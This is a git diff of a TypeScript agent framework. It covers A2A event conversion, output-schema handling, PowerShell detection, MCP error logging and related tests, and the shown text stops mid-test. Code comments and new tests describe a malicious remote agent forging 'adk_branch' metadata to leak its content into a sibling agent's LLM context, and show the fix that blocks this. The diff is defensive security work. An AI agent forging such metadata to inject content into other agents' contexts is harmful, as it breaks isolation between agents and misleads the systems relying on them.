diff --git a/core/build.js b/core/build.js index 99d01f9d7..24df1cc4d 100644 --- a/core/build.js +++ b/core/build.js @@ -53,6 +53,7 @@ function build({ if (platform === 'browser' && bundle) { buildOptions.alias = { 'node:async_hooks': './src/utils/async_hooks_shim.ts', + 'node:crypto': './src/utils/crypto_shim.ts', }; } diff --git a/core/src/a2a/a2a_remote_agent.ts b/core/src/a2a/a2a_remote_agent.ts index b250c2539..f6711bb20 100644 --- a/core/src/a2a/a2a_remote_agent.ts +++ b/core/src/a2a/a2a_remote_agent.ts @@ -219,7 +219,12 @@ export class RemoteA2AAgent extends BaseAgent { } } - const adkEvent = toAdkEvent(chunk, context.invocationId, this.name); + const adkEvent = toAdkEvent( + chunk, + context.invocationId, + this.name, + context.branch, + ); if (!adkEvent) { continue; } @@ -242,7 +247,12 @@ export class RemoteA2AAgent extends BaseAgent { await callback(context, result); } } - const adkEvent = toAdkEvent(result, context.invocationId, this.name); + const adkEvent = toAdkEvent( + result, + context.invocationId, + this.name, + context.branch, + ); if (adkEvent) { processor.updateCustomMetadata(adkEvent, result); yield adkEvent; diff --git a/core/src/a2a/event_converter_utils.ts b/core/src/a2a/event_converter_utils.ts index 570d19d21..c68f5b1e9 100644 --- a/core/src/a2a/event_converter_utils.ts +++ b/core/src/a2a/event_converter_utils.ts @@ -75,6 +75,9 @@ export function toA2AMessage( * status update). * @param invocationId - The ADK invocation ID to attach to the resulting event. * @param agentName - The name of the agent to use as the event author. + * @param branch - The local invocation's branch to attach to the resulting + * event. Must come from the caller's own `InvocationContext`, never from + * the A2A peer: see the comment on `createAdkEventFromMetadata` for why. * @returns The converted ADK event, or `undefined` if the A2A event type * produces no content. */ @@ -82,23 +85,24 @@ export function toAdkEvent( event: A2AEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { if (isMessage(event)) { - return messageToAdkEvent(event, invocationId, agentName); + return messageToAdkEvent(event, invocationId, agentName, branch); } if (isTask(event)) { - return taskToAdkEvent(event, invocationId, agentName); + return taskToAdkEvent(event, invocationId, agentName, branch); } if (isTaskArtifactUpdateEvent(event)) { - return artifactUpdateToAdkEvent(event, invocationId, agentName); + return artifactUpdateToAdkEvent(event, invocationId, agentName, branch); } if (isTaskStatusUpdateEvent(event)) { return event.final - ? finalTaskStatusUpdateToAdkEvent(event, invocationId, agentName) - : taskStatusUpdateToAdkEvent(event, invocationId, agentName); + ? finalTaskStatusUpdateToAdkEvent(event, invocationId, agentName, branch) + : taskStatusUpdateToAdkEvent(event, invocationId, agentName, branch); } return undefined; @@ -108,6 +112,7 @@ function messageToAdkEvent( msg: Message, invocationId: string, agentName: string, + branch?: string, ): AdkEvent { const parts = toGenAIParts(msg.parts); const content = @@ -121,6 +126,7 @@ function messageToAdkEvent( ...createAdkEventFromMetadata(msg), invocationId, author: msg.role === MessageRole.USER ? MessageRole.USER : agentName, + branch, content, turnComplete: true, partial: false, @@ -131,6 +137,7 @@ function artifactUpdateToAdkEvent( a2aEvent: TaskArtifactUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const partsToConvert = a2aEvent.artifact?.parts || []; if (partsToConvert.length === 0) { @@ -146,6 +153,7 @@ function artifactUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, content: createModelContent(toGenAIParts(partsToConvert)), longRunningToolIds: getLongRunningToolIDs(partsToConvert), partial, @@ -156,6 +164,7 @@ function finalTaskStatusUpdateToAdkEvent( a2aEvent: TaskStatusUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const partsToConvert = a2aEvent.status.message?.parts || []; if (partsToConvert.length === 0) { @@ -170,6 +179,7 @@ function finalTaskStatusUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, errorMessage: isFailedTask ? getFailedTaskStatusUpdateEventError(a2aEvent) : undefined, @@ -183,6 +193,7 @@ function taskStatusUpdateToAdkEvent( a2aEvent: TaskStatusUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const msg = a2aEvent.status.message; if (!msg) { @@ -198,6 +209,7 @@ function taskStatusUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, content: createModelContent(parts), turnComplete: false, partial: true, @@ -208,6 +220,7 @@ function taskToAdkEvent( a2aTask: Task, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const parts: GenAIPart[] = []; const longRunningToolIds: string[] = []; @@ -243,6 +256,7 @@ function taskToAdkEvent( ...createAdkEventFromMetadata(a2aTask), invocationId, author: agentName, + branch, content: isFailed ? undefined : createModelContent(parts), errorMessage: isFailed ? getFailedTaskStatusUpdateEventError(a2aTask) @@ -261,7 +275,15 @@ function createAdkEventFromMetadata(a2aEvent: A2AEvent): AdkEvent { const metadata = a2aEvent.metadata || {}; return createEvent({ - branch: metadata[A2AMetadataKeys.BRANCH] as string, + // `branch` is intentionally NOT restored from peer metadata here (unlike + // the other fields below): it is the mechanism getContents() (see + // content_processor_utils.ts) uses to keep sibling sub-agent branches' + // conversation contexts isolated from each other. A remote A2A peer that + // controls its own outgoing metadata could otherwise forge `adk_branch` + // (set it to a shared ancestor branch, or omit it) to leak its content + // into an unrelated sibling agent's LLM context. Every caller of the + // `*ToAdkEvent` functions in this file force-sets `branch` from its own + // local `InvocationContext` instead, the same way `author` is handled. author: metadata[A2AMetadataKeys.AUTHOR] as string, partial: metadata[A2AMetadataKeys.PARTIAL] as boolean, errorCode: metadata[A2AMetadataKeys.ERROR_CODE] as string, diff --git a/core/src/agents/llm_agent.ts b/core/src/agents/llm_agent.ts index 72049a0ab..330629b23 100644 --- a/core/src/agents/llm_agent.ts +++ b/core/src/agents/llm_agent.ts @@ -34,6 +34,7 @@ import {BaseTool, isBaseTool} from '../tools/base_tool.js'; import {BaseToolset} from '../tools/base_toolset.js'; import {logger} from '../utils/logger.js'; +import {canUseOutputSchemaWithTools} from '../utils/output_schema_utils.js'; import {Context} from './context.js'; import { @@ -787,7 +788,11 @@ export class LlmAgent extends BaseAgent { // TODO - b/425992518: check if tool preprocessors can be simplified. // Run pre-processors for tools. const allTools = [...this.tools]; - if (this.outputSchema && allTools.length > 0) { + if ( + this.outputSchema && + allTools.length > 0 && + !canUseOutputSchemaWithTools(this.canonicalModel.model) + ) { const setModelResponseTool = new FunctionTool({ name: 'set_model_response', description: diff --git a/core/src/agents/processors/basic_llm_request_processor.ts b/core/src/agents/processors/basic_llm_request_processor.ts index a2fa2594f..7ed2c66c5 100644 --- a/core/src/agents/processors/basic_llm_request_processor.ts +++ b/core/src/agents/processors/basic_llm_request_processor.ts @@ -6,6 +6,7 @@ import {Event} from '../../events/event.js'; import {LlmRequest, setOutputSchema} from '../../models/llm_request.js'; +import {canUseOutputSchemaWithTools} from '../../utils/output_schema_utils.js'; import {InvocationContext} from '../invocation_context.js'; import {isLlmAgent} from '../llm_agent.js'; import {BaseLlmRequestProcessor} from './base_llm_processor.js'; @@ -37,7 +38,14 @@ export class BasicLlmRequestProcessor extends BaseLlmRequestProcessor { llmRequest.model = agent.canonicalModel.model; llmRequest.config = {...(agent.generateContentConfig ?? {})}; - if (agent.outputSchema && (!agent.tools || agent.tools.length === 0)) { + // Models that cannot take an output schema alongside tools get the + // prompt-based `set_model_response` workaround instead, injected by + // `LlmAgent.runOneStepAsync` and the instructions processor. + if ( + agent.outputSchema && + (!agent.tools?.length || + canUseOutputSchemaWithTools(agent.canonicalModel.model)) + ) { setOutputSchema(llmRequest, agent.outputSchema); } diff --git a/core/src/agents/processors/instructions_llm_request_processor.ts b/core/src/agents/processors/instructions_llm_request_processor.ts index 6415186bf..4293f19e6 100644 --- a/core/src/agents/processors/instructions_llm_request_processor.ts +++ b/core/src/agents/processors/instructions_llm_request_processor.ts @@ -6,6 +6,7 @@ import {Event} from '../../events/event.js'; import {appendInstructions, LlmRequest} from '../../models/llm_request.js'; +import {canUseOutputSchemaWithTools} from '../../utils/output_schema_utils.js'; import {injectSessionState} from '../instructions.js'; import {InvocationContext} from '../invocation_context.js'; import {isLlmAgent} from '../llm_agent.js'; @@ -62,7 +63,11 @@ export class InstructionsLlmRequestProcessor extends BaseLlmRequestProcessor { appendInstructions(llmRequest, [instructionWithState]); } - if (agent.outputSchema && agent.tools && agent.tools.length > 0) { + if ( + agent.outputSchema && + agent.tools?.length && + !canUseOutputSchemaWithTools(agent.canonicalModel.model) + ) { appendInstructions(llmRequest, [ 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.', ]); diff --git a/core/src/code_executors/unsafe_local_code_executor.ts b/core/src/code_executors/unsafe_local_code_executor.ts index 1457d189e..f4b52701d 100644 --- a/core/src/code_executors/unsafe_local_code_executor.ts +++ b/core/src/code_executors/unsafe_local_code_executor.ts @@ -38,6 +38,14 @@ const POWERSHELL_BASE_ARGS = [ */ const CMD_BASE_ARGS = ['/D', '/c'] as const; +/** + * Whether `commandPath` names Windows PowerShell (`powershell`) or PowerShell + * 7+ (`pwsh`). `path.win32` splits on both separators on every platform. + */ +function isPowerShellCommand(commandPath: string): boolean { + return /^(powershell|pwsh)(\.exe)?$/i.test(path.win32.basename(commandPath)); +} + /** * Options for UnsafeLocalCodeExecutor. */ @@ -56,6 +64,10 @@ export interface UnsafeLocalCodeExecutorOptions { pythonCommandPath?: string; /** * The command to run Shell code. Default is `bash`. + * + * When it names `powershell` or `pwsh` (with or without `.exe`) the script + * is written as `.ps1` and run through PowerShell rather than as a bare + * shell script. */ shellCommandPath?: string; } @@ -98,6 +110,9 @@ function getExtensionForLanguage( } if (language === CodeExecutionLanguage.SHELL) { + if (shellCommandPath && isPowerShellCommand(shellCommandPath)) { + return '.ps1'; + } if (IS_WINDOWS) { if (shellCommandPath && shellCommandPath.toLowerCase().includes('cmd')) { return '.bat'; @@ -187,7 +202,7 @@ export class UnsafeLocalCodeExecutor extends BaseCodeExecutor { command = this.pythonCommandPath; } else if (language === CodeExecutionLanguage.SHELL) { command = this.shellCommandPath; - if (this.shellCommandPath.toLowerCase().includes('powershell')) { + if (isPowerShellCommand(this.shellCommandPath)) { args = [...POWERSHELL_BASE_ARGS, filePath]; } else if (this.shellCommandPath.toLowerCase().includes('cmd')) { args = [...CMD_BASE_ARGS, filePath]; diff --git a/core/src/memory/vertex_ai_memory_bank_service.ts b/core/src/memory/vertex_ai_memory_bank_service.ts index 08d9a3ec6..f0406d77a 100644 --- a/core/src/memory/vertex_ai_memory_bank_service.ts +++ b/core/src/memory/vertex_ai_memory_bank_service.ts @@ -16,7 +16,10 @@ import {Content, createUserContent} from '@google/genai'; import {Event} from '../events/event.js'; import {Session} from '../sessions/session.js'; import {logger} from '../utils/logger.js'; -import {getExpressModeApiKey} from '../utils/vertex_ai_utils.js'; +import { + EXPRESS_MODE_UNSUPPORTED_MESSAGE, + getExpressModeApiKey, +} from '../utils/vertex_ai_utils.js'; import { BaseMemoryService, SearchMemoryRequest, @@ -143,6 +146,9 @@ export class VertexAiMemoryBankService implements BaseMemoryService { if (options.client) { this.memories = options.client.agentEnginesInternal.memories; } else { + if (this.expressModeApiKey && (!this.projectId || !this.location)) { + throw new Error(EXPRESS_MODE_UNSUPPORTED_MESSAGE); + } const client = new Client({ project: this.projectId, location: this.location, diff --git a/core/src/plugins/base_plugin.ts b/core/src/plugins/base_plugin.ts index e667de7c8..b34d037de 100644 --- a/core/src/plugins/base_plugin.ts +++ b/core/src/plugins/base_plugin.ts @@ -168,8 +168,10 @@ export abstract class BasePlugin { * @param params.invocationContext The context for the entire invocation. * @param params.event The event raised by the runner. * @returns An optional value. A non-`undefined` return may be used by the - * framework to modify or replace the response. Returning `undefined` - * allows the original response to be used. + * framework to modify or replace the response. Copy `params.event` when + * constructing a replacement to preserve fields that are not being + * modified, such as event actions. Returning `undefined` allows the + * original response to be used. */ // eslint-disable-next-line @typescript-eslint/no-unused-vars async onEventCallback(params: { diff --git a/core/src/runner/runner.ts b/core/src/runner/runner.ts index aa444cb74..ba43f2a93 100644 --- a/core/src/runner/runner.ts +++ b/core/src/runner/runner.ts @@ -412,24 +412,34 @@ export class Runner { return; } - if (!event.partial) { - await this.sessionService.appendEvent({session, event}); - } - // Step 3: Run the on_event callbacks to optionally modify the event. + // Step 3: Run the on_event callbacks before persisting so callback + // changes are stored in the session and match the streamed event. const modifiedEvent = await this.pluginManager.runOnEventCallback({ invocationContext, event, }); + const outputEvent = modifiedEvent + ? { + ...modifiedEvent, + id: event.id, + invocationId: event.invocationId, + timestamp: event.timestamp, + author: modifiedEvent.author || event.author, + branch: modifiedEvent.branch ?? event.branch, + } + : event; + if (!event.partial) { + await this.sessionService.appendEvent({ + session, + event: outputEvent, + }); + } if (params.abortSignal?.aborted) { return; } - if (modifiedEvent) { - yield modifiedEvent; - } else { - yield event; - } + yield outputEvent; } // Step 4: Run the after_run callbacks to optionally modify the context. await this.pluginManager.runAfterRunCallback({invocationContext}); diff --git a/core/src/sessions/vertex_ai_session_service.ts b/core/src/sessions/vertex_ai_session_service.ts index af9f7bb56..6398b73f8 100644 --- a/core/src/sessions/vertex_ai_session_service.ts +++ b/core/src/sessions/vertex_ai_session_service.ts @@ -22,7 +22,10 @@ import {Event} from '../events/event.js'; import {EventActions} from '../events/event_actions.js'; import {ToolConfirmation} from '../tools/tool_confirmation.js'; import {logger} from '../utils/logger.js'; -import {getExpressModeApiKey} from '../utils/vertex_ai_utils.js'; +import { + EXPRESS_MODE_UNSUPPORTED_MESSAGE, + getExpressModeApiKey, +} from '../utils/vertex_ai_utils.js'; import {partialCopy} from '../utils/partial_copy.js'; import { @@ -104,18 +107,17 @@ export class VertexAiSessionService extends BaseSessionService { options.expressModeApiKey, ); - if (!options.sessions) { - if (!this.expressModeApiKey && (!this.projectId || !this.location)) { - throw new Error( - 'Either (Project ID and Location) or an expressModeApiKey is required.', - ); - } - } - // sessions is primarily for testing to inject a mock client. if (options.sessions) { this.sessions = options.sessions; } else { + if (!this.projectId || !this.location) { + throw new Error( + this.expressModeApiKey + ? EXPRESS_MODE_UNSUPPORTED_MESSAGE + : 'Project ID and Location are required.', + ); + } const client = new Client({ project: this.projectId, location: this.location, diff --git a/core/src/tools/mcp/mcp_session_manager.ts b/core/src/tools/mcp/mcp_session_manager.ts index 1cdfd4e0c..45dc7a07d 100644 --- a/core/src/tools/mcp/mcp_session_manager.ts +++ b/core/src/tools/mcp/mcp_session_manager.ts @@ -14,6 +14,14 @@ import { StreamableHTTPClientTransportOptions, } from '@modelcontextprotocol/sdk/client/streamableHttp.js'; +import {formatError} from '../../utils/error_utils.js'; +import {logger} from '../../utils/logger.js'; + +/** Surfaces a background transport error that would otherwise be dropped. */ +function logTransportError(err: unknown): void { + logger.error('MCP transport error: ' + formatError(err)); +} + /** * Defines the parameters for establishing a connection to an MCP server using * standard input/output (stdio). This is typically used for running MCP servers @@ -81,37 +89,46 @@ export class MCPSessionManager { async createSession(): Promise { const client = new Client({name: 'MCPClient', version: '1.0.0'}); - switch (this.connectionParams.type) { - case 'StdioConnectionParams': - await client.connect( - new StdioClientTransport(this.connectionParams.serverParams), - ); - break; - case 'StreamableHTTPConnectionParams': { - const options = this.connectionParams.transportOptions ?? {}; - - if ( - !options.requestInit && - this.connectionParams.header !== undefined - ) { - options.requestInit = { - headers: this.connectionParams.header as Record, - }; + try { + switch (this.connectionParams.type) { + case 'StdioConnectionParams': { + const transport = new StdioClientTransport( + this.connectionParams.serverParams, + ); + transport.onerror = logTransportError; + await client.connect(transport); + break; } + case 'StreamableHTTPConnectionParams': { + const options = this.connectionParams.transportOptions ?? {}; - await client.connect( - new StreamableHTTPClientTransport( + if ( + !options.requestInit && + this.connectionParams.header !== undefined + ) { + options.requestInit = { + headers: this.connectionParams.header as Record, + }; + } + + const transport = new StreamableHTTPClientTransport( new URL(this.connectionParams.url), options, - ), - ); - break; - } - default: { - // Triggers compile error if a case is missing. - const _exhaustiveCheck: never = this.connectionParams; - break; + ); + transport.onerror = logTransportError; + await client.connect(transport); + break; + } + default: { + // Triggers compile error if a case is missing. + const _exhaustiveCheck: never = this.connectionParams; + break; + } } + } catch (err) { + throw new Error('Failed to create MCP session: ' + formatError(err), { + cause: err, + }); } this.activeSessions.add(client); diff --git a/core/src/utils/crypto_shim.ts b/core/src/utils/crypto_shim.ts new file mode 100644 index 000000000..d7fc45a6f --- /dev/null +++ b/core/src/utils/crypto_shim.ts @@ -0,0 +1,23 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Browser stand-in for the `node:crypto` builtin, wired up by the alias in + * `build.js` so that the Node fallback in `env_aware_utils.ts` does not pull a + * Node builtin into the web bundle. + * + * `randomUUID` is reached here only after both `globalThis.crypto` branches in + * `env_aware_utils.ts` have been ruled out. In a browser that means the Web + * Crypto API is genuinely absent, so there is no secure source left to fall + * back to and the only correct move is to fail rather than degrade. + */ +export function randomUUID(): string { + throw new Error( + 'randomUUID: no cryptographically secure source of randomness is ' + + 'available. Neither crypto.randomUUID() nor crypto.getRandomValues() is ' + + 'present in this environment.', + ); +} diff --git a/core/src/utils/env_aware_utils.ts b/core/src/utils/env_aware_utils.ts index 41ea36d66..e2acc16e6 100644 --- a/core/src/utils/env_aware_utils.ts +++ b/core/src/utils/env_aware_utils.ts @@ -4,6 +4,8 @@ * SPDX-License-Identifier: Apache-2.0 */ +import {randomUUID as nodeRandomUUID} from 'node:crypto'; + /** * Returns true if the environment is a browser. */ @@ -19,6 +21,16 @@ export function isBrowser() { * `crypto.getRandomValues()` carries no such restriction, so it is used as the * fallback rather than `Math.random()`. * + * In Node the `globalThis.crypto` global was added in v17.4.0 and stayed behind + * `--experimental-global-webcrypto` until v19.0.0, so neither of those branches + * matches on a default Node 18 or earlier. `node:crypto` carries no such gate — + * its `randomUUID` has existed since v14.17.0 — so it is the last resort. In + * the bundled web build the import is aliased to `crypto_shim.ts`, which + * throws, because a browser without the Web Crypto API has no secure source + * left. The non-bundle `dist/web` output that `package.json#browser` points + * at keeps the import verbatim, as it already does for `node:async_hooks` + * and `node:path`. + * * Some callers use this value to make security decisions — the OAuth2 `state` * parameter in `AuthHandler` and the session identifiers minted by the session * services — so this function must not silently degrade to a non-cryptographic @@ -48,11 +60,7 @@ export function randomUUID(): string { .join('-'); } - throw new Error( - 'randomUUID: no cryptographically secure source of randomness is ' + - 'available. Neither crypto.randomUUID() nor crypto.getRandomValues() is ' + - 'present in this environment.', - ); + return nodeRandomUUID(); } /** diff --git a/core/src/utils/error_utils.ts b/core/src/utils/error_utils.ts new file mode 100644 index 000000000..f1f80589b --- /dev/null +++ b/core/src/utils/error_utils.ts @@ -0,0 +1,161 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Helpers for turning arbitrary thrown values into readable, root-cause + * messages, so that wrapped, aggregated or HTTP-flavoured failures are not + * reduced to an empty or generic string when they are reported. + */ + +/** + * Maximum number of characters of an HTTP response body surfaced by + * {@link formatError} before it is truncated. Bounds both log volume and the + * exposure of potentially sensitive response payloads. + */ +const MAX_RESPONSE_BODY_LENGTH = 1000; + +/** Marker appended to a response body that exceeds {@link MAX_RESPONSE_BODY_LENGTH}. */ +const TRUNCATION_MARKER = '... [truncated]'; + +/** Returned by {@link formatError} when the input carries no usable message. */ +const UNKNOWN_ERROR = 'Unknown error'; + +/** Lowest and highest values treated as an HTTP status code. */ +const MIN_HTTP_STATUS = 100; +const MAX_HTTP_STATUS = 599; + +/** + * Narrows an arbitrary value to an indexable record, or `undefined` when it is + * not a non-null object. Used to safely inspect duck-typed error shapes without + * resorting to `any`. + */ +function asRecord(value: unknown): Record | undefined { + return value !== null && typeof value === 'object' + ? (value as Record) + : undefined; +} + +/** Returns the first argument that is a string, or `undefined` if none are. */ +function firstString(...values: unknown[]): string | undefined { + for (const value of values) { + if (typeof value === 'string') { + return value; + } + } + return undefined; +} + +/** Truncates a response body to {@link MAX_RESPONSE_BODY_LENGTH} characters. */ +function truncateBody(body: string): string { + return body.length > MAX_RESPONSE_BODY_LENGTH + ? body.slice(0, MAX_RESPONSE_BODY_LENGTH) + TRUNCATION_MARKER + : body; +} + +/** Returns the plain, non-recursive message for a single value. */ +function baseMessage(err: unknown): string { + if (err instanceof Error) { + return err.message; + } + if (typeof err === 'string') { + return err; + } + return String(err); +} + +/** + * Extracts synchronously-available HTTP details (status, status text and a + * truncated response body) from a duck-typed error, or `undefined` when none + * are present. Several shapes are supported: errors carrying `.status` + * directly, axios/httpx-style errors nesting them under `.response`, and + * errors that expose the status as a numeric `.code` (as the MCP SDK's + * `StreamableHTTPError` does). A body is only read when it is already a + * string, so no async `Response.text()` is ever invoked. + */ +function extractHttpDetails(err: unknown): string | undefined { + const record = asRecord(err); + if (record === undefined) { + return undefined; + } + const response = asRecord(record['response']); + const rawStatus = record['status'] ?? record['code'] ?? response?.['status']; + const status = + typeof rawStatus === 'number' && + rawStatus >= MIN_HTTP_STATUS && + rawStatus <= MAX_HTTP_STATUS + ? rawStatus + : undefined; + const statusText = firstString( + record['statusText'], + response?.['statusText'], + ); + const body = firstString( + response?.['data'], + response?.['body'], + response?.['text'], + ); + if (status === undefined && body === undefined) { + return undefined; + } + const head = + status === undefined + ? 'HTTP error' + : `HTTP ${status}${statusText === undefined ? '' : ` ${statusText}`}`; + return body === undefined ? head : `${head}: ${truncateBody(body)}`; +} + +/** + * Recursively flattens aggregate and wrapped errors into a single message. + * `seen` guards against cyclic `cause`/`errors` graphs. + */ +function formatErrorRecursive(err: unknown, seen: Set): string { + if (err === null || err === undefined) { + return UNKNOWN_ERROR; + } + if (typeof err === 'object') { + if (seen.has(err)) { + return baseMessage(err); + } + seen.add(err); + } + if (err instanceof AggregateError && err.errors.length > 0) { + return err.errors.map((sub) => formatErrorRecursive(sub, seen)).join(' | '); + } + const http = extractHttpDetails(err); + const base = baseMessage(err); + // Cycles (including a direct `err.cause === err`) are handled by `seen`. + const cause = asRecord(err)?.['cause']; + const causeMessage = + cause !== undefined ? formatErrorRecursive(cause, seen) : undefined; + let message = base.length > 0 ? base : UNKNOWN_ERROR; + if (http !== undefined) { + message = `${message} (${http})`; + } + if ( + causeMessage !== undefined && + http === undefined && + !message.includes(causeMessage) + ) { + message = `${message}: ${causeMessage}`; + } + return message; +} + +/** + * Formats an arbitrary thrown value into a readable, root-cause message. + * + * Recursively flattens `AggregateError.errors` (joining leaves with ` | `) and + * unwraps the `Error.cause` chain, and — when HTTP details are synchronously + * available — appends the status code and a response-body snippet truncated to + * 1000 characters with a `... [truncated]` marker. It never throws and is safe + * on `null`/`undefined` and cyclic error graphs. + * + * @param err The thrown or rejected value to format. + * @return A single human-readable message describing the root cause(s). + */ +export function formatError(err: unknown): string { + return formatErrorRecursive(err, new Set()); +} diff --git a/core/src/utils/output_schema_utils.ts b/core/src/utils/output_schema_utils.ts new file mode 100644 index 000000000..e98bc176f --- /dev/null +++ b/core/src/utils/output_schema_utils.ts @@ -0,0 +1,27 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {isGemini2OrAbove} from './model_name.js'; +import {getGoogleLlmVariant, GoogleLLMVariant} from './variant_utils.js'; + +/** + * Returns whether the model can natively accept an output schema at the same + * time as tools, which is strictly more reliable than the prompt-based + * `set_model_response` workaround. + * + * Early Access Program model names encode no numeric version, so + * `isGemini2OrAbove` rejects them even on Vertex AI. The Python + * implementation accepts them; that gap lives in the shared predicate. + * + * @param modelString A simple or path-based model name. + * @return True if the model supports an output schema alongside tools. + */ +export function canUseOutputSchemaWithTools(modelString: string): boolean { + return ( + getGoogleLlmVariant() === GoogleLLMVariant.VERTEX_AI && + isGemini2OrAbove(modelString) + ); +} diff --git a/core/src/utils/vertex_ai_utils.ts b/core/src/utils/vertex_ai_utils.ts index b4ff3cc07..fcc68eda1 100644 --- a/core/src/utils/vertex_ai_utils.ts +++ b/core/src/utils/vertex_ai_utils.ts @@ -6,6 +6,12 @@ import {getBooleanEnvVar} from './env_aware_utils.js'; +export const EXPRESS_MODE_UNSUPPORTED_MESSAGE = + 'Vertex AI Express Mode (expressModeApiKey / GOOGLE_API_KEY) is not ' + + 'supported: the @google-cloud/vertexai Agent Engine client cannot send an ' + + 'API key. Provide projectId and location (with Application Default ' + + 'Credentials), or inject a preconfigured client.'; + /** * Validates and returns the API key for Express Mode. * diff --git a/core/test/a2a/event_converter_utils_test.ts b/core/test/a2a/event_converter_utils_test.ts index 9f88c5460..8942e25e3 100644 --- a/core/test/a2a/event_converter_utils_test.ts +++ b/core/test/a2a/event_converter_utils_test.ts @@ -120,11 +120,47 @@ describe('event_converter_utils', () => { const event = toAdkEvent(message, 'inv1', 'agent1'); expect(event).toBeDefined(); - expect(event!.branch).toBe('test-branch'); expect(event!.errorCode).toBe('404'); expect(event!.errorMessage).toBe('not found'); }); + it('never restores branch from peer-supplied metadata, even without a caller-supplied branch', () => { + // A remote A2A peer fully controls its own outgoing `adk_branch` + // metadata. getContents() (content_processor_utils.ts) uses an + // event's `branch` to keep sibling sub-agent conversation contexts + // isolated, so restoring it from peer metadata would let a malicious + // peer forge a shared-ancestor (or absent) branch to leak its content + // into an unrelated sibling agent's LLM context. + const message: Message = { + kind: 'message', + messageId: 'msg-forged-branch', + role: 'agent', + parts: [{kind: 'text', text: 'hello'}], + metadata: {'adk_branch': 'forged-parent-branch'}, + }; + + const event = toAdkEvent(message, 'inv1', 'agent1'); + expect(event!.branch).toBeUndefined(); + }); + + it('sets branch from the caller-supplied local invocation branch, not from peer metadata', () => { + const message: Message = { + kind: 'message', + messageId: 'msg-branch-override', + role: 'agent', + parts: [{kind: 'text', text: 'hello'}], + metadata: {'adk_branch': 'forged-parent-branch'}, + }; + + const event = toAdkEvent( + message, + 'inv1', + 'agent1', + 'coordinator.sub_agent_a', + ); + expect(event!.branch).toBe('coordinator.sub_agent_a'); + }); + describe('Message', () => { it('preserves messages without parts as contentless events', () => { const userMessage: Message = { diff --git a/core/test/a2a/remote_agent_test.ts b/core/test/a2a/remote_agent_test.ts index 13add468a..d803afdc0 100644 --- a/core/test/a2a/remote_agent_test.ts +++ b/core/test/a2a/remote_agent_test.ts @@ -245,6 +245,90 @@ describe('A2ARemoteAgent', () => { expect(events[0].content?.parts![0].text).toBe('static response'); }); + it('sets branch from the local invocation context, ignoring a peer-forged adk_branch (streaming)', async () => { + const card: AgentCard = { + name: 'Remote', + description: 'test', + protocolVersion: '1.0', + defaultInputModes: [], + defaultOutputModes: [], + capabilities: {streaming: true}, + skills: [], + url: 'https://example.com', + version: '1.0', + }; + vi.mocked(mockResolver.resolve).mockResolvedValue(card); + + const agent = new RemoteA2AAgent({ + name: 'test-agent', + agentCard: 'https://example.com/card.json', + clientFactory: mockClientFactory, + }); + + const mockStream = async function* () { + yield { + kind: 'message', + messageId: 'forged-msg', + role: 'agent', + parts: [{kind: 'text', text: 'forged content'}], + // A malicious/compromised remote peer setting its own branch to a + // shared ancestor: this must NOT end up on the resulting event, or + // it would leak this response into a sibling sub-agent's context + // (see content_processor_utils.ts getContents()). + metadata: {'adk_branch': 'coordinator'}, + } as A2AStreamEventData; + }; + vi.mocked(mockClient.sendMessageStream).mockReturnValue(mockStream()); + + const context = createMockContext({branch: 'coordinator.sub_agent_a'}); + const events: AdkEvent[] = []; + + for await (const event of agent.runAsync(context)) { + events.push(event); + } + + expect(events.length).toBe(1); + expect(events[0].branch).toBe('coordinator.sub_agent_a'); + }); + + it('sets branch from the local invocation context, ignoring a peer-forged adk_branch (non-streaming)', async () => { + const card: AgentCard = { + name: 'Remote', + description: 'test', + protocolVersion: '1.0', + defaultInputModes: [], + defaultOutputModes: [], + capabilities: {streaming: false}, + skills: [], + url: 'https://example.com', + version: '1.0', + }; + + const agent = new RemoteA2AAgent({ + name: 'test-agent', + agentCard: card, + clientFactory: mockClientFactory, + }); + + vi.mocked(mockClient.sendMessage).mockResolvedValue({ + kind: 'message', + messageId: 'forged-msg', + role: 'agent', + parts: [{kind: 'text', text: 'forged content'}], + metadata: {'adk_branch': 'coordinator'}, + }); + + const context = createMockContext({branch: 'coordinator.sub_agent_a'}); + const events: AdkEvent[] = []; + + for await (const event of agent.runAsync(context)) { + events.push(event); + } + + expect(events.length).toBe(1); + expect(events[0].branch).toBe('coordinator.sub_agent_a'); + }); + it('should trigger beforeRequestCallbacks', async () => { const card: AgentCard = { name: 'Remote', diff --git a/core/test/agents/llm_agent_test.ts b/core/test/agents/llm_agent_test.ts index a5089bc68..642394395 100644 --- a/core/test/agents/llm_agent_test.ts +++ b/core/test/agents/llm_agent_test.ts @@ -16,7 +16,9 @@ import { Context, ContextCompactorRequestProcessor, createEvent, + createSession, Event, + FunctionTool, InvocationContext, LlmAgent, LlmRequest, @@ -27,7 +29,7 @@ import { ToolProcessLlmRequest, } from '@google/adk'; import {Content, Schema, Type} from '@google/genai'; -import {beforeEach, describe, expect, it} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; import {z as z3} from 'zod/v3'; import {z as z4} from 'zod/v4'; @@ -839,3 +841,140 @@ describe('LlmAgent Default Request Processors', () => { expect(authIndex).toBeLessThan(contentIndex); }); }); + +describe('LlmAgent outputSchema with tools', () => { + const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + + const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, + }; + + afterEach(() => { + vi.unstubAllEnvs(); + }); + + /** + * Records the single request the agent builds so that all three gated sites + * can be asserted against one run of the default processor chain. + */ + class CapturingLlm extends BaseLlm { + capturedRequest?: LlmRequest; + + async 